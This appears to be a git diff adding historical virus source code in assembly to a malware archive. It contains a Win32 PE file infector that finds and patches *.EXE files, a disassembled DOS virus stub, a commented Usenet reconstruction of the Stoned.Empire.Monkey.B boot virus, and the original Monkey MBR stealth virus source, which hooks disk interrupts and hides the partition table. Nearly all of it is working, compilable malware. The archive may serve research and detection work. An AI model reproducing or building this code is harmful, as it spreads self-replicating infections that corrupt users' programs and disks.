+;A quick survey off 30 PE file in a win95 directory shows +; possible percent of files that can be infected versus size of +;virus of this type +; +; 400h 83% +; 600h 60% +; 800h 50% +; a00h 37% +; c00h 20% + +ViriiSize equ 400h + +.386 +.model flat,stdcall + +extrn GetFileSize:PROC +extrn ExitProcess:PROC + +extrn CreateFileA:PROC +extrn CreateFileMappingA:PROC +extrn MapViewOfFile:PROC +extrn UnmapViewOfFile:PROC +extrn CloseHandle:PROC + +extrn FindFirstFileA:PROC +extrn FindNextFileA:PROC +extrn FindClose:PROC +extrn SetEndOfFile:PROC + +FILE_MAP_COPY EQU 000000001h +FILE_MAP_WRITE EQU 000000002h +FILE_MAP_READ EQU 000000004h +FILE_MAP_ALL_ACCESS EQU 0000f001fh + + +INVALID_HANDLE_VALUE EQU -1 + +FILE_ATTRIBUTE_NORMAL EQU 000000080h + +GENERIC_READ equ 80000000h +GENERIC_WRITE equ 40000000h + +OPEN_EXISTING equ 3 + +PAGE_NOACCESS EQU 000000001h +PAGE_READONLY EQU 000000002h +PAGE_READWRITE EQU 000000004h +PAGE_WRITECOPY EQU 000000008h +PAGE_EXECUTE EQU 000000010h +PAGE_EXECUTE_READ EQU 000000020h +PAGE_EXECUTE_READWRITE EQU 000000040h +PAGE_EXECUTE_WRITECOPY EQU 000000080h +;Header Offsets + +PEHeaderSze EQU 0F8h +NumOfSects EQU 06h +SizeOfCode equ 1ch +ImageSze equ 50h + + + +;section offsets +VSize equ 8h +VAddress equ 0Ch +SzeRawData equ 10h +PtrRawData equ 14h +HdrSze equ 28h + +Find_data equ 139h +Find_data_name equ 2ch ;where in the structure is the name +FileSizeH equ 14h ;if not zero get out +Filesize equ 20h ;file size low +;find_file db Find_data dup(00) ;size of the find data + +;------------------------------------------- +;how the stack is used +SHandle equ 0 ;Handle for the search routine +FHandle equ SHandle + 4 ;Handle for open file +CMHandle equ FHandle + 4 ;CreateMFileHandle +MHandle equ CMHandle + 4 ;Mhandle also address of where it is +FindFile equ MHandle + 4 + +CFile equ FindFile + Find_data + 4 +CFMap equ CFile + 4 +MapV equ CFMap + 4 +CloseH equ MapV + 4 +FindFirst equ CloseH + 4 +FindNext equ FindFirst + 4 +CloseFnd equ FindNext + 4 +UnMapV equ CloseFnd + 4 +SetFEnd equ UnMapV + 4 +Flag equ SetFEnd + 3 + +GetProc equ Flag + 4 +K32Load Equ GetProc + 4 +HostPE Equ K32Load + 4 +HostLoad equ HostPE + 4 +Delta equ HostLoad + 4 + +WorkSpace equ GetProc + + +;------------------------------------------- +.data ;the data area +dummy dd ? ;this needs some data + ;or it won't compile ...easily + +;------------------------------------------- +.code + +Mole: + db 68h +HostEip dd offset fini - 00400000h + + Pusha + + call GetAddie ;this leaves some data on the stack + ;which mole use's +D1: sub esp,WorkSpace + mov ebp,esp + sub dword ptr[ebp + Delta],offset D1 - Offset Mole + ;this gives mole its location in memory + + ;set return up to old eip + mov eax,dword ptr [ebp + HostPE] + add dword ptr [ebp + Delta + 4 + (8*4)],eax + + Call GetFunctions ;With the k32 module + ;and GetProc we can now get all + ;the Fuctions we want + + ;FINDFIRST + lea eax,[ebp + FindFile] + push eax + + mov eax,[ebp + Delta] + + ;add eax, offset FileN - Offset Mole + add eax, offset Fmask - Offset Mole + push eax + call dword ptr [ebp + FindFirst] + + mov dword ptr [ebp + SHandle],eax + inc eax + jz NoFiles + dec eax + +TryItAgain: + mov byte ptr [ebp + Flag],0 ;assume too small + call Map_Infect? + + cmp byte ptr[ebp + Flag],0 + jz FindNextOne + + add dword ptr [Ebp + FindFile + Filesize],ViriiSize + call Map_Infect? + + ;call Modify + +FindNextOne: + ;FINDNEXT + lea eax,[ebp + FindFile] + push eax + + mov eax,[ebp + SHandle] + push eax + + call dword ptr [ebp + FindNext] + or eax,eax + jnz TryItAgain + + +NoFiles: + lea eax,[ebp + FindFile] + push eax + + Call dword ptr [ebp + CloseFnd] + + + ADD ESP,Delta + 4 ;restore all + Popa + + ret ;return to the host + +;-------------------------------------------------------------- + +Map_Infect?: + + xor eax,eax + cdq ;edx = 0 + + push eax ;handle template + + ;push FILE_ATTRIBUTE_NORMAL ;attr flags + mov dl,80h + push edx + + push large OPEN_EXISTING ;creat flags + + push eax ;security issue + push eax ;share mode + + push GENERIC_READ or GENERIC_WRITE ;r\w access + + Lea eax,[ebp + FindFile + Find_data_name] + push eax ;file name + + call dword ptr [ebp + CFile] ;CreateFileA + + inc eax ;smaller than cmp eax,-1, je... + jz FileError ; + dec eax ; + +;------------------------------------------------------------- + cdq ;get edx = 0 + mov [ebp + FHandle],eax +;------------------------------------------------------- +;CreateFileMap object +;This is what will determine how big the file is +;when this is done the file size will be changed +;and of course the date is changed + + push edx ;fileMap name + + + + push dword ptr [Ebp + FindFile + Filesize] + + + push edx ;file size high not use for this + + push large PAGE_READWRITE ;Protection Rights R/W etc + push edx ;security attr + push eax ;File Handle + call dword ptr [ ebp + CFMap ] ;CreateFileMappingA + cdq ;again zero edx + ;why here well ecx usual contains a + ;value like C??????? which when xchg + ;to eax when you us cdq edx = -1 not 0 + xchg eax,ecx + + jecxz MapHandleError + +;------------------------------------------------------------- + mov [ebp + CMHandle],ecx ;2nd FileMapHandle +;------------------------------------------------------------- +;Map the View + + + push edx ;size to map if 0 whole file + ;in win95 its always does whole file + push edx ;where it file to start the mapping + ;low word + push edx ;high word + push large FILE_MAP_WRITE ;Acces rights + push ecx ;Map Handle + call dword ptr [ebp + MapV] ;MapViewOfFile + xchg eax,ecx + jecxz ErrorFileMap + +;--------------------------------------------------------------------------- + mov dword ptr [ebp + MHandle],ecx ;3rd Address of where its mapped +;--------------------------------------------------------------------------- + +;check for the oking of it then jmp out or back to close +;then reopen +; + + MOV EDX,ECX + + MOV Ebx,[EDX + 3CH] ;WHERE THE PE + cmp word ptr [ ebx+ edx],'EP' + jne NoRoom + + LEA esi,[ebx + PEHeaderSze + edx] ; esi = first Section Entry + + ;check for the section char is + ;set for code + + test byte ptr [esi + 24h],20h + JE NoRoom + + ;FindOut if there is room to expand the file + + mov ecx,[ESI + VAddress] + add ecx,[ESI + SzeRawData] + mov Eax,[ESI + VAddress + HdrSze ] + + sub Eax,Ecx + cmp eax,ViriiSize + jl NoRoom + + cmp byte ptr [ebp + Flag],0 + jne Roomie + + inc byte ptr [ebp + Flag] + + jmp GoodOpenSize + +Roomie: + + call Infect + + +NoRoom: + +GoodOpenSize: ;if called close file and get ready to infect + + push dword ptr [ebp + MHandle] + call dword ptr [ebp + UnMapV] ;UnmapViewOfFile + + +;------------------------------------------------------------- + + +ErrorFileMap: + push dword ptr [ebp + CMHandle] ;close file map handle + call dword ptr [ebp + CloseH] ;CloseHandle ;on stack Handle to the Map object + + + +MapHandleError: + push dword ptr [ebp + FHandle] + call dword ptr [ebp + CloseH] ;file CloseHandle ;on stack is the File open + + + +FileError: + + ret + +;----------------------------------------------------------------- +Infect: +;Ok do the move + + push esi + mov edx,[ebp + MHandle] + mov eax,[esi + PtrRawData] + add eax,[esi + SzeRawData] ;where this section ends in the file + + + mov ecx,dword ptr [Ebp + FindFile + Filesize] + + dec ecx + sub ecx,ViriiSize + lea esi,[edx + ecx] ;where to move the data from + lea edi,[edx + ecx + ViriiSize ] ;to + inc ecx + + sub ecx,eax ;how much we move for 800h + std ;move backwards + rep movsb ;move it + + cld ;move forward again + + xchg edi,esi + inc edi + + + pop esi + push esi + + mov eax,[ebp + MHandle] + add eax,[eax + 3ch] ;points to PE + + push eax + + mov eax,[eax+28h] ;entry point RVA (Eip) + mov byte ptr [edi],68h ;creates the push for the ret + mov dword ptr [edi + 1],eax ;to return to host + + pop eax + + mov ecx,[ebp + MHandle] + add ecx,[esi + PtrRawData] + push edi + sub edi,ecx + add edi,[esi + VAddress] + ;inc edi + mov dword ptr [eax +28h],edi ;update the eip address + pop edi + + lea edi,[edi + 5] ;maybe 5 incs are better + + mov esi,dword ptr [ebp + Delta] + lea esi,[esi + 5] + mov ecx,offset fini - offset Mole + rep movsb + + + pop esi ;restore pointer to the section entries + + + ;update the .code area size in the section + add dword ptr [esi + SzeRawData ],ViriiSize + mov eax,dword ptr [esi + SzeRawData] + + + ;update this as well be better if we check if it needed to be + ;enlarged??? + mov dword ptr [esi + VSize],eax + + ;not updating the image size since we are not + ;becoming bigger in memory aligment only file alignment + ;in the header PE + ;add dword ptr [edx + ebx + ImageSze],ViriiSize + + + ;Do update the code size in the Header area + add dword ptr [edx + ebx + SizeOfCode],ViriiSize + + ;now update the rest of the sections + Movzx ecx,word ptr [edx + ebx + NumOfSects] + dec ecx + +;update the section entries pter to raw data as long as not 0 +NextSect: + add esi, HdrSze + cmp dword ptr [esi + PtrRawData],0 + je ZPter + add dword ptr [esi + PtrRawData],ViriiSize +ZPter: loop NextSect + + ret + + +;-------------------------------------------------------------------------- +;Used For GetAddie +K32 equ 0 +BASE equ K32 + 4 +Limit equ BASE + 4 +AddFunc equ Limit + 4 +AddName equ AddFunc + 4 +AddOrd equ AddName+4 +Nindex equ AddOrd + 4 +WorkSp equ Nindex + 4 +GetPAdd equ WorkSp + 4 +RetAdd Equ GetPAdd + 4 + + +EdataLoc equ 78h +IdataLoc equ 80h + +GetAddie: + + call here +here: pop esi + + Call GetPE ;eax,esi + jne GetAddie_fini + + push eax ;Address of PE header for this module + push esi ;Load address of Module + + Call GetK32API + ;On return Esi = a API call in Kernel32 + + Call GetPE ;eax,esi + push ESI ;Module address of K32 + + ;esi = to the load address Kernel32 + ;eax = address to the PE header of Kernel32 + push large 0 ;hold the return info + Call GetGetProcessAdd + + + push dword ptr [esp + 10h] + +GetAddie_fini: + + ret + +;-------------------------------------------------------------- +GetGetProcessAdd: +;esi = to the load address Kernel32 +;eax = address to the PE header of Kernel32 +;on return +;on the stack is the Address + + sub esp,WorkSp + mov ebx,ebp + + mov ebp,esp + + Pusha + + mov dword ptr[ esp+ 8],ebx + + + mov [ebp + K32],Esi + mov ebx,esi + + mov eax,[eax + EdataLoc] ;gets us the Edata offset + + lea esi,[eax + ebx + 10h] ;pointer to base + + lea edi,[ebp+BASE] + + lodsd + ;mov [ebp + BASE],eax ;save base + stosd + + lodsd ;total number of exported functions + ;by name and ordinal + + lodsd ;the functions exported by name + ;mov [ebp +Limit],eax ;this is how far its safe to look + stosd + + + lodsd + add eax,ebx + + ;mov [ebp + AddFunc],eax + stosd + + lodsd + + add eax,ebx + ;mov [ebp + AddName],eax + stosd + + lodsd + add eax,ebx + ;mov [ebp + AddOrd],eax + stosd + + +LookLoop: + mov esi,[ebp + AddName] + mov [EBP+Nindex],esi + + mov edi,ebx ;get the load Add of K32 + add edi,[esi] + + xor ecx,ecx +TryAgain: + + ;find GetProcAddress + cmp [edi],'PteG' + jne NextOne + + cmp [edi+4],'Acor' + jne NextOne + + cmp [edi+8],'erdd' + jne NextOne + + cmp word ptr[edi+0Ch],'ss' + jne NextOne + + cmp byte ptr [edi+0Eh],00 + jne NextOne + + jmp GotGetProcAdd + +NextOne: + inc ecx + cmp ecx,[ebp + Limit] + jge NotFound1 + + add dword ptr [ebp + Nindex],4 + mov ESI,[EBP+Nindex] + mov edi,[esi] + add edi,ebx + jmp TryAgain + + + +GotGetProcAdd: + ;ok we have the index into the name array use this to get + ; the index into the ord array + ; + shl ecx,1 ;*2 for a word array + mov esi,[ebp + AddOrd] + add esi,ecx ;move to the correct spot in the array + + movzx eax,word ptr [esi] + ;ax = ordinal value + + shl eax,2 ;*4 + mov esi,[ebp + AddFunc] + add esi,eax + + mov edi, dword ptr [esi] + add edi,ebx ;got the address of it + + xchg eax,edi + mov dword ptr [ebp + GetPAdd],eax + jmp OkFound + +NotFound1: + + xor eax,eax +OkFound: + + + popa + add esp,WorkSp + + + ret + +;-------------------------------------------------------------- +;ok at this point we have +;esi = to the load address of the program +;eax = address to the PE header now using this get the .idata area +;rather than use the .IDATA section we look for the more dependable +;idata entry in the idatrva section which is offset 80h into the PE header + + +GetK32API: + push ebx + mov ebx,dword ptr [eax + IdataLoc] + + add ebx,esi + + ;Ebx now points to the import data table + +NextDll: + cmp dword ptr [ebx+0ch],0 + je NoIdataLeft + + lea eax,[ebx+0ch] + + mov eax,[eax] + cmp dword ptr [eax+esi],'NREK' + jne NotFound + cmp dword ptr [eax+esi+4],'23LE' + jne NotFound + + mov eax,[ebx+10h] + mov eax,[eax+esi] + +;next line is needed only in debug td32 +;only in win95 not Winnt 4.0 at least so far +; mov eax,[eax+1] + + + xchg eax,esi + pop ebx + ret + +NoIdataLeft: + xor eax,eax + pop ebx + ret + +NotFound: + add ebx,14h + jmp NextDll +;--------------------------------------------------------- + +;Routine that will , given the address within a .exe in memory +;track back and find the MZ header then using this info one can +;find the Kernel32 (as long as the exe imports a kernel32 function +; on input +;esi = the address to start looking at +;on exit +;esi = the address of the MZ header +;eax = the address of the PE header + +GetPE: + +SetupSEH: + push offset FindExcept + push dword ptr fs:[0] + mov fs:[0],esp + +LoopFind: + and esi,0FFFFF000h + pusha + lodsw + cmp ax,'ZM' + je Found + popa + sub esi,1000h + jmp LoopFind + +FindExcept: + ;Some Exception occured assume "DEAD" area, reset and continue + mov eax,[esp +08h] + lea esp,[eax - 20h] + popa ;restores our "REGS" esi mainly + pop dword ptr fs:[0] ;restore old handler + add esp,4 ;remove last bit of hanlder + sub esi,1000h ;Get set for next page to look at + jmp SetupSEH + +Found: + popa ;esi = out MZ header + pop dword ptr fs:[0] + add esp,4 + + Lea eax,[esi + 3ch] + + mov eax,[eax] + add eax,esi + + cmp word ptr ds:[eax],'EP' + + ret + +;--------------------------------------------------------------- +GetFunctions: + Mov esi,[ebp+ Delta] + add esi,offset Funct_List - Offset Mole + + Lea edi,dword ptr [ebp + CFile] + + ;mov ecx,9 ;* + xor ecx,ecx + mov cl,9 + +startGetLoop: + push ecx + + push Esi ;function name + Push dword ptr [ ebp + K32Load] ;dll + call dword ptr [ebp + GetProc] + stosd + + pop ecx + + add esi,13h ;get next name + + Loop startGetLoop + + ret + +;--------------------------------------------------------------- + + +;Data for The Mole + +Funct_List: + db "CreateFileA",0 ;12 +Fmask db "*.EXE",0 ;5 + db 1 dup(90h) + + db "CreateFileMappingA",0 ;19 + + db "MapViewOfFile",0 ;14 + db 5 dup(90h) + + db "CloseHandle",0 ;12 + db 7 dup(90h) + + db "FindFirstFileA",0 ;15 + db 4 dup(90h) + + db "FindNextFileA",0 ;14 + db 5 dup(90h) + + db "FindClose",0 ;10 + db 9 dup(90h) + + db "UnmapViewOfFile",0 ;16 + db 3 dup(90h) + + db "SetEndOfFile",0 ;13 + ;db 6 dup(90h) + db 'Murkry\IKX' + +;========================================================================= + +fini: + + push LARGE -1 + call ExitProcess ;this simply terminates the program + + end Mole diff --git a/MSDOS/Virus.MSDOS.Unknown.molester.asm b/MSDOS/Virus.MSDOS.Unknown.molester.asm new file mode 100644 index 00000000..6f69a4e9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.molester.asm @@ -0,0 +1,196 @@ + +PAGE 59,132 + +;========================================================================== +;== == +;== MOLESTER == +;== == +;== Created: 18-Apr-92 == +;== Passes: 5 Analysis Options on: QRSU == +;== == +;========================================================================== + + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +MOLESTER proc far + +start: + jmp real_start ; (0106) + ;* No entry point to code + int 10h ; Video display ah=functn 00h + ; set display mode in al + retn + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +real_start: ; xref 580C:0100 +;* jmp short loc_1 ;*(010C) + db 0EBh, 04h + ;* No entry point to code + nop + dec si + pop ss + add bh,[bp+di+101h] + mov ah,[bx] + mov bx,102h ; (580C:0102=0) + mov al,[bx] + xchg al,ah + add ax,3 + mov si,ax + mov cl,byte ptr ds:[103h][si] ; (580C:0103=0CDh) + call sub_1 ; (0308) + cmpsw ; Cmp [si] to es:[di] + into ; Int 4 on overflow + dec si + db 64h, 60h, 0Dh, 01h, 03h, 4Eh + db 6Eh, 3Bh,0F2h,0DCh + db 'VHNNNteten' + + db 1Ah + db '&+n', 0Ah, '/:/n' + db 3 + db '!"+=:+#+ :n', 0Dh, '!<>! +Lines: 365 +Sender: news@news.media.mit.edu (USENET News System) +Organization: MIT Media Laboratory +X-Newsreader: Trumpet for Windows [Version 1.0 Rev A] +Date: Sun, 15 Jan 1995 21:57:21 GMT +Lines: 365 + +;**************************Stoned.Empire.Monkey.B +;This will create a binary image of Monkey. It compiles real well with the +;A86 compiler. I used that because I was trying to create source that was +;as equivalent to the original binary image as possible. With the exception +;of six bytes that differ due to using functionally equivalent op codes, +;Stoned.Empire.Monkey.B +;This is an MBR infected with the virus, it does not create an executable +;file. It has to be compiled and manually loaded to the MBR or boot sector +;of a floppy diskette. This is an excellent study as to how these types +;of viruses, and will give the researcher an very good resource as to how +;the infection mechanism works and how to prevent/clean this and other +;similar viruses. +;this is an exact duplicate when compiled with A86. If anyone wants to +;complete the commenting, please feel free as I did not understand some of +;this code. the author apparently had an excellent understanding of +;the partition loading stub as these areas are read during the installation +;of the virus. If you do add comments, send me a copy +;Leonard Gragson +;lgragson@fileshop.com +;YBMY91A - Prodigy +;73141,1034 - Compuserve +; + jmp short virus_start ;all jmps are short + nop + mov ss, ax + mov sp, 7c00h + mov si, sp + push ax + pop es + push ax + pop ds + sti + cld + mov di, 0600h + mov cx, 100h + repnz movsw + db 0eah, 1dh, 6, 0, 0 + ;jmp far 0000:061dh + + mov si, 7beh + + + +virus_start: + cli ;no system interrupts + sub bx, bx ;zero bx + mov ds, bx ; + mov ss, bx + mov sp, 7c00h ;just below boot data area + + db 0eah, 2fh, 0, 0c0h, 7 + ;***thats a jmp far 07c0:002f, which is next instruction + ;***this sets offsets to org 0 + + + int 12h ;get sys mem in ax + mov si, 4ch + push si + cmp byte ptr cs:[00f2h], 2 ;test for BIOS mem location + jz next_pt1 + call shrink_mem + + mov di, 01fc + mov cx, 2 + cld + repz movsw ;load int13h address into virus INT 13h handler + ;which will start at es:0 + jmp short next_pt2 + +next_pt1: + call set_es +next_pt2: + pop si ;points to INT 13h vector entry + mov word ptr [si], 007dh ;offset + mov word ptr [si + 2], ax ;ax == es, where virus handler is going + + push cs + pop ds ;ds == 0 up to this point + call mov_virus ;ds now == 7c0h + + push es + mov ax, 0062h ;for retf to virus + push ax + sti ;enable interrupts + retf ;to es:62h -> see next routine + +set_virus: ;<- this is offset 62h! at virus location es:0062h + + mov es, cx ;like xor es, es + mov bx, sp ;still at 7c00h! + push cx + push bx ;for return to 0000:7c00 + + mov dx, 0080h ;c: drive, cyl 0 + call set_si ;haven't figured this out yet + + call do_virus_thing + + mov cl, 3 + mov dx, 80h + call read_drive + call scramble_boot + retf + +int_13h_handler: + push ds + push si + push di + push ax + push cx + push dx + call set_si + cmp ah, 2 ;read operation? + jnz not_two + push dx + sub ax, ax + int 1ah + cmp dl, 40h + pop dx + jnb not_two + call do_virus_thing ;write a virus to the drive or disk + +not_two: + pop dx + pop cx + pop ax + pop di + push dx + push cx + push ax + cmp cx, 3 + jnb not_three + cmp dh, [si] ;check for read/write to virus sector + jnz not_three + cmp ah, 2 + jz call_int13h + cmp ah, 3 + jnz not_three + cmp dl, 80h + jb not_three + sub ah, ah + jmp short not_three + + +call_int13h: + call int_13h_call + jb end_handler + call check_data1 + jz point_two + call check_data2 + jz point_two + clc + jmp short end_handler + +point_two: + call set_real_partition + mov dh, [si + 1] + pop ax + call int_13h_call + call scramble_boot + pop cx + pop dx + jmp short end_here +not_three: + call int_13h_call +end_handler: + pop ds + pop ds + pop ds +end_here: + pop si + pop ds + retf 2 + +data_area db 0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh + +read_drive: + mov ax, 0201h ;read 1 sector +int_13h_call: + pushf ;simulate INT + db 2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch] + ret + +shrink_mem: + dec ax ;contains mem from int 12h + mov di, 414h + dec di ;this has got to be a "fool the scanner" trick + mov [di], ax ;shrink sys me by 1 K +set_es: + mov cl, 6 + shl ax, cl ;get top of base mem in segs + add al, 20h ;add a little more to be safe + mov es, ax ;and set es. This will be about 9fe0h or so + ;if full 640K mem + ret + +write_drive: + mov dh, [si] ;on first infection si == 0 - head 0 + mov ax, 0301h ;write one sector + call int_13h_call ;and do it + + ret + +do_virus_thing: + sub cx, cx + inc cx + push cx ;god, mov cx, 1 + mov dh, [si] ;location of sector + call read_drive ;read in one sector, this will be partition + ;on first infection + jb end_do_virus_thing ;error? lets abort + + call check_data1 ;do we have 9219h sectors in last partition? + jz end_do_virus_thing ;if so, get out of town + + call check_data2 + jnz next_virus_pt + + cmp word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition? + jz end_do_virus_thing ; quit + + mov word ptr es:[bx + 1fah], 0 ;this will kill last partition + mov cl, 1 ;sector 1? + + call write_drive + jb end_do_virus_thing ;error abort + inc cx ;sector 2? + mov dh, [si + 2] + + call read_drive ;get the boot sector + jb end_do_virus_thing + + pop ax ;should == 1 + push cx + +next_virus_pt: + + call set_real_partition + call scramble_boot + + inc si + call write_drive + + dec si + jb end_do_virus_thing + + call scramble_boot + + push cx + call mov_virus + pop cx + push dx + mov dl, [si + 3] + + ;mov word ptr es:[bx + 74h], dx + db 26h, 89h, 97h, 74h, 00 + ;****equivalent, I did this due to A86 translation being a little + ;****different than the virus I captured + + pop dx + + ;mov byte ptr es:[bx + 72h], cl + db 26h, 88h, 8fh, 72h, 00 + ;****equivalent, I did this due to A86 translation being a little + ;****different than the virus I captured + + mov word ptr es:[bx + 01feh], 0AA55h + pop cx + push cx + mov byte ptr es:[bx + 00f2h], cl + call write_drive + +end_do_virus_thing: + pop ax + ret + +mov_virus: + +;****************** whole virus including first jmp is stored +;****************** and accessed later for disk/drive infections + + push si + mov di, bx ;di == 0 + mov si, 20h ;this is where virus starts + add di, si ;he's keeping space between 1st jmp + ;and the virus loading stub constant + ;to facilitate future infections + mov cx, 1dch ;we're moving this many + repz movsb ;and mov 'em + + mov di, bx ;like xor di, di + sub si, si ;like xor si, si + + mov cl, 3 ;movs the first jmp + repz movsb ;instruction! + + pop si + ret +;************checks for number of sectors in last partition! +check_data1: + cmp word ptr es:[bx + 01fah], 9219h + ret + +;************not sure what is going on here, offset 119h is in the partition code +;************this ain't a virus ID +check_data2: + cmp word ptr es:[bx + 119h], 6150h + ret + +scramble_boot: + push di + push cx + push ax + mov di, bx + mov cx, 200h + cld +scram_loop: + mov al, byte ptr es:[di] + xor al, 2eh + stosb + loop scram_loop + + pop ax + pop cx + pop di + ret + +set_si: + push cs + pop ds + mov si, 00eah ;location of real partition + cmp dl, 80h ;hard drive access? + jb end_set_si ;no? lets go + mov si, 00eeh ;hard drive infection routine +end_set_si: + ret + +;***********I think this loads the real partition which was read from sector 2 +;***********DS equ 7c0h +set_real_partition: + + push di + push si + mov al, byte ptr es:[bx + 14h] + mov cx, 4 +loop_ptr: + mov si, cx + dec si + cmp [si + 00f3h], al + jz set_cl + loop loop_ptr + mov cl, 3 + jmp short bye +set_cl: + mov cl, [si+00f7h] +bye: + pop si + pop di + ret + + +scraps db 05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.monkey.asm b/MSDOS/Virus.MSDOS.Unknown.monkey.asm new file mode 100644 index 00000000..66433175 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.monkey.asm @@ -0,0 +1,691 @@ + + page 70,80 + Name Monkey + +;******************************************************* +; +; Monkey written at the city of champions +; - Edmonton - by UACVRS - Jan 1992. +; +; Monkey is a full stealth MBR/Boot self-replicating program with +; no payload but it does not save the HD's partition +; table in place. When the "infected" computer is booted +; from a floppy, c: drive will no longer be accessible. +; +; To compile: masm monkey (we used MASM 5.0) +; link monkey +; exe2bin monkey.exe monkey.co +; Use NU, or debug to copy monkey.co to the boot +; sector of a floppy. The diskette will not boot +; but will install itself on the hard drive. +; +; Bug: It will trash any floppies higher than +; 1.44meg, not deliberately. +; +;******************************************************* + +Code Segment + Assume CS:Code,DS:CODE,ES:CODE + ORG 00H + +MAIN: + JMP INITIAL + +; space above 1fh is for floppy format data + + ORG 1FH +INT_13 EQU THIS BYTE + + PUSH DS + PUSH SI + PUSH DI + PUSH AX + PUSH CX + PUSH DX + + CALL SET_HEAD + + CMP AH,02H + JNZ END_ACTION + + PUSH DX + SUB AX,AX + INT 1AH + +TIME EQU $ + 2 + CMP DL,40H + POP DX + JNB END_ACTION + + CALL HANDLE_DISK + +END_ACTION: + POP DX + POP CX + POP AX + POP DI + + PUSH DX + PUSH CX + PUSH AX + + CMP CX,03H ; YES, IS SECTOR LESS THAN 3? + JNB EXIT_2 ; NO, EXIT + + CMP DH,BYTE PTR DS:[SI] ; Right head? + JNZ EXIT_2 ; NO, EXIT + + CMP AH,02H ; READ ? + JZ STEALTH ; YES, STEALTH + + CMP AH,03H ; WRITE ? + JNZ EXIT_2 ; NO, EXIT + ; YES! + CMP DL,80H ; HARD DRIVE? + JB EXIT_2 ; NO, EXIT + + SUB AH,AH ; else RESET DISK - make HD light blink + JMP SHORT EXIT_2 ; EXIT +STEALTH: + CALL INT13 ; READ + JB EXIT_3 ; ERROR? + + CALL COMP_SIG ; MY RELATIVE? + JZ REDIRECT ; YES, REDIRECT + + CALL COMP_PA ; NO, IS IT PA? + JZ REDIRECT ; YES, REDIRECT + +EXIT_0: + CLC ; NO, RESET FLAG + JMP SHORT EXIT_3 ; EXIT + +REDIRECT: + + CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL + + MOV DH,BYTE PTR DS:[SI+1] ; SET RIGHT HEAD + + POP AX ; RESTORE AX + CALL INT13 ; RE-READ + CALL ENCRPT_PBR + POP CX ; RESTORE CX, DX + POP DX + JMP SHORT EXIT_4 ; EXIT +EXIT_2: + CALL INT13 +EXIT_3: + POP DS + POP DS + POP DS +EXIT_4: + POP SI + POP DS + RETF 0002H + +READ_SEC_1: + MOV AX,0201H ; READ +INT13 PROC NEAR + PUSHF + CALL DWORD PTR CS:INT13_ADDR ;*********** + RET +INT13 ENDP + +HOOK_ENTRY EQU THIS BYTE +HOOK: + INT 12H + MOV SI,004CH + PUSH SI + CMP BYTE PTR CS:HOME_SEC,02H ; I am in sector 2? + JZ SETUP_SPECIAL + +SETUP_NORMAL: + + CALL SHIFT_NORMAL + + MOV DI,OFFSET INT13_ADDR + MOV CX,0002H + CLD + REPZ MOVSW + + JMP SHORT STORE_SEGMENT + +SETUP_SPECIAL: + + CALL SHIFT_SPECIAL + +STORE_SEGMENT: + POP SI + MOV WORD PTR DS:[SI],OFFSET INT_13 ; STORE MY ENTRY POINT + MOV DS:[SI+2],AX ; STORE MY SEGMENT + +PATCH_OVER: + + PUSH CS + POP DS + CALL PATCH ; PATCH OVER + PUSH ES ; PUSH SEGMENT + MOV AX,OFFSET JMP_ADDR + PUSH AX ; PUSH ADDRESS + STI + RETF ; FAR JMP + + JMP_ADDR EQU THIS BYTE +BOOT: + MOV ES,CX + MOV BX,SP ; TO 0000:7C00 + PUSH CX ; SAVE JMP SEGMENT + PUSH BX + + MOV DX,0080H ; HANDLE C: + CALL SET_HEAD + CALL HANDLE_DISK + +BOOT_SEC EQU $ + 1 + MOV CL,05H ; FROM SECTOR 3 ???? + +BOOT_DISK EQU $ + 1 + MOV DX,0100H ; C:, HEAD 0 ???? + + CALL READ_SEC_1 ; INT 13 + + CALL ENCRPT_PBR + + RETF + +HANDLE_DISK PROC NEAR + + ; *** READ SECTOR 1 *** + SUB CX,CX + INC CX + PUSH CX + + MOV DH,[SI] ; HEAD + CALL READ_SEC_1 ; INT 13 + JB END_HANDLE_DISK ; ERROR -> END + + ; *** COMPARE *** + CALL COMP_SIG + JZ E_2 ; SAME -> UPDATE MYSELF + + ; *** PA? *** + CALL COMP_PA ; Is it Pagett's disksec? + JNZ UPDATE_DISK ; NO + + ; *** OK? *** + INC CX + CMP WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set + ; to 0 means disksec would not do + ; checksum of partitions - Pagett + ; sucks + JZ E_2 ; SAME -> UPDATE MYSELF + + MOV WORD PTR ES:[BX+1FAH],00H ; set this to zero + MOV CL,1H ; write the change back to sector 1 + CALL WRITE_SEC_1 ; + JB END_HANDLE_DISK + + ; *** YES! READ SECTOR 2 *** + INC CX ; yes,Pagette 's disksecure is on sector 1 + MOV DH,[SI+2] ; My relative is on sector 2 - read sector 2 + CALL READ_SEC_1 ; INT 13 + JB END_HANDLE_DISK ; ERROR -> END + POP AX + PUSH CX + +UPDATE_DISK: + CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL + CALL ENCRPT_PBR + INC SI + CALL WRITE_SEC_1 + DEC SI + JB END_HANDLE_DISK + + CALL ENCRPT_PBR + PUSH CX + CALL PATCH + POP CX + + PUSH DX + CMP DL,80H + JNB E_1 + XOR DL,DL +E_1: + MOV WORD PTR ES:[BX+BOOT_DISK],DX + POP DX + MOV BYTE PTR ES:[BX+BOOT_SEC],CL + POP CX + PUSH CX + MOV BYTE PTR ES:[BX+OFFSET HOME_SEC],CL + MOV WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H + +E_2: + CALL WRITE_SEC_1 + +END_HANDLE_DISK: + POP AX + RET + +HANDLE_DISK ENDP + +WRITE_SEC_1 PROC NEAR + MOV DH,[SI] +WRITE_SEC_2: + MOV AX,0301H + CALL INT13 + RET +WRITE_SEC_1 ENDP + +COMP_SIG PROC NEAR + CMP ES:[BX+OFFSET PROG_SIG],9219H + RET +COMP_SIG ENDP + +COMP_PA PROC NEAR + CMP WORD PTR ES:[BX+119H],6150H ; PA? + RET +COMP_PA ENDP + +HOME_SEC DB 01H + 